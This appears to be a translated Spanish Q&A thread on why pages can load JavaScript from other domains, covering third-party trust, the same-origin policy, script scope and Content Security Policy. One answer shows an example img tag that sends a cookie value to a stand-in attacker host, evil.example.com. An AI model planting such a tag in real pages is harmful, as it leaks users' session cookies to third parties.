¿Por qué cuando vinculamos un archivo javascript en x.com desde y.com (por ejemplo google analytics o jquery) no causa problemas de seguridad entre dominios?¿Por qué podemos vincular a archivos js en otro dominio?
Por ejemplo:
en y.com/index.html tenemos:
<script type="text/javascript" src="http://x.com/jsfile.js" />
¿Cómo podemos saber si esto está bien que hacer y cuando no lo es?
Tiene el potencial de ser un gran agujero de seguridad por lo que debe confiar en ese sitio que aloja el archivo JavaScript.
Por ejemplo, ese código puede inyectar más etiquetas de secuencia de comandos y etiquetas img en su sitio que pueden retransmitir datos confidenciales a un tercero.
El comentario de David sobre la política del mismo origen puede ser engañoso. Una forma clásica para transmitir datos a un sitio remoto es insertar una etiqueta img a un dominio remoto:
<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />
Si el código JavaScript en el host remoto se cambió para inyectar de forma dinámica una etiqueta img como este entonces su sitio podría tener un agujero de seguridad. Existen mitigaciones para algunos de estos problemas, como el uso de cookies HTTP, que no son accesibles a través de JavaScript.
El ejemplo de los sistemas analíticos es excelente. Debe confiar en que el proveedor no tomará datos confidenciales como sus propias cookies y las enviará a una ubicación remota. También debe confiar en el proveedor que su sistema es seguro y que un hacker no puede alterar los archivos JavaScript en sus servidores. Los sistemas de análisis generalmente funcionan al usar estas mismas técnicas, pero es de esperar que lo utilicen para bien y no para mal. En cierto sentido, no es diferente de preocuparse por si sus desarrolladores están escribiendo un código bueno y seguro y si introducen una puerta trasera secreta.
En cuanto a por qué está permitido, es simplemente histórico. La web no fue diseñada en absoluto con la seguridad en mente. Ya se trate de un ataque CSRF, ataques de repetición o ataques XSS, estos son todos defectos fundamentales en el diseño de la web que ahora se convierten en preocupaciones de los desarrolladores web.
El origen de los datos es irrelevante, es el alcance donde se usa lo que importa.
Acaba de obtener la secuencia de comandos de un dominio diferente, todavía se ejecuta en el ámbito de su propia página, por lo que no tiene ningún acceso a los recursos en el dominio desde donde se cargó.
En una situación en la que tiene problemas de dominio cruzado, como un iframe que contiene una página de un dominio diferente, tiene dos ámbitos diferentes. La página del iframe se ejecuta en el ámbito del dominio desde el que se cargó, por lo que puede acceder a recursos en ese dominio, pero no puede acceder a nada en la página que aloja el iframe, ya que es un ámbito diferente.
(Nota:. No sé si el término "alcance" se utiliza comúnmente en este contexto, puede haber un término que describe mejor)
No sé por qué lo podemos hacer . Pero puede evitar que suceda mediante Content Security Policy (CSP), un encabezado HTTP enviado por su aplicación web que declara que no debe cargar JavaScript, excepto desde dominios que permite explícitamente.
Es cierto que las cookies HTTP sólo pueden ser extraídos mediante el análisis de los encabezados de JavaScript ¿verdad? – alex
@alex - No estoy seguro de eso. El JavaScript también podría hacer otras cosas que son mucho más malvadas, como robar contraseñas mediante la unión de controladores de eventos para ingresar etiquetas que luego envían el texto a un servidor remoto. – Eilon